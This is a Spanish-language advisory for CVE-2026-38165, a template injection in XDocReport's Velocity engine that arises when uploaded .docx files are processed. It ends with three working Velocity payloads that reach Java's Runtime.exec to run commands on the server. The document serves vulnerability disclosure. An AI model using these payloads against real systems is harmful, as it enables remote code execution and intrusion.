
CVE-2026-38165 (SSTI)
Resumen de la vulnerabilidad
Server-Side Template Injection (SSTI) es una vulnerabilidad de seguridad web que permite a un atacante insertar código malicioso en las plantillas (templates) utilizadas por los sistemas de gestión de contenidos (CMS) y los frameworks web, con el fin de ejecutar ataques remotos, obtener información sensible o realizar actividades de intrusión en el sistema.
SSTI es una variante de las vulnerabilidades de Inyección (como SQL Injection, XSS, etc.), en la que el atacante aprovecha el uso de sistemas de plantillas para implementar código malicioso de forma remota. Cuando un ataque SSTI se ejecuta con éxito, el atacante puede ejecutar su propio código en el servidor, permitiéndole realizar ataques remotos, como recopilar información sensible, realizar actividades de intrusión y acceder a recursos no autorizados.
La vulnerabilidad SSTI suele ocurrir debido al uso de sistemas de plantillas no seguros, o a la falta de verificación y tratamiento de los parámetros de entrada antes de insertarlos en las plantillas. Si un ataque SSTI tiene éxito, las consecuencias pueden ser graves y causar grandes pérdidas a la organización atacada.
Impacto empresarial
La vulnerabilidad SSTI puede provocar múltiples consecuencias graves, incluyendo:
Ejecución de código malicioso: El atacante puede utilizar esta vulnerabilidad para ejecutar código malicioso en el servidor, permitiéndole robar datos, realizar acciones ilegales en el sistema e incluso tomar el control total del servidor.
Divulgación de información sensible: SSTI puede permitir al atacante leer, modificar o eliminar archivos en el servidor. Si estos archivos contienen información sensible, como cuentas y contraseñas, el atacante puede divulgar fácilmente esta información.
Ataques de amenaza o engaño a usuarios: El atacante puede usar SSTI para realizar ataques de amenaza o engaño, modificando el contenido del sitio web o añadiendo botones personalizados falsos. Si el usuario hace clic en estos botones, el atacante puede robar información del usuario o instalar software malicioso en su computadora.

fr.opensagres.xdocreport.template.velocity
Se encontró una vulnerabilidad de Server-Side Template Injection (SSTI) en OpenSAGRES XDocReport al procesar plantillas DOCX con el motor velocity. Bajo ciertas configuraciones, las plantillas manipuladas pueden llevar a una Ejecución Remota de Código (RCE).
El sitio web de gestión de personal permite a los usuarios subir archivos .docx al sistema. Durante el procesamiento, la aplicación utiliza el motor de plantillas velocity (en el archivo) para renderizar el contenido sin ningún mecanismo de control o filtrado de entrada.
Esta vulnerabilidad permite al atacante insertar expresiones maliciosas en el archivo .docx (plantilla), lo que lleva a una Ejecución Remota de Código (RCE) en el servidor y puede ser aprovechada para robar información o tomar el control del sistema.
fr.opensagres.xdocreport.template.velocity — XDocReport (versiones =< 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

velocityEngine.evaluate(...) es el método estándar/por defecto de Apache Velocity para evaluar una plantilla desde un Reader (o desde un String) usando un Context y escribir en un Writer. Ejecuta la sintaxis VTL (Velocity Template Language) igual que Template.merge(...)
evaluate: analiza desde Reader/String → útil cuando la plantilla es dinámica/no confiable.
getTemplate(...).merge(...): carga la plantilla que ha sido procesada por el resource loader (caching, encoding…), luego la fusiona. En cuanto a la capacidad de ejecución de VTL, ambos ejecutan las mismas expresiones; la diferencia principal es el lugar/modo de carga de la plantilla.
.docx con el siguiente payload en su interior:
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result



#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


172.26.208.130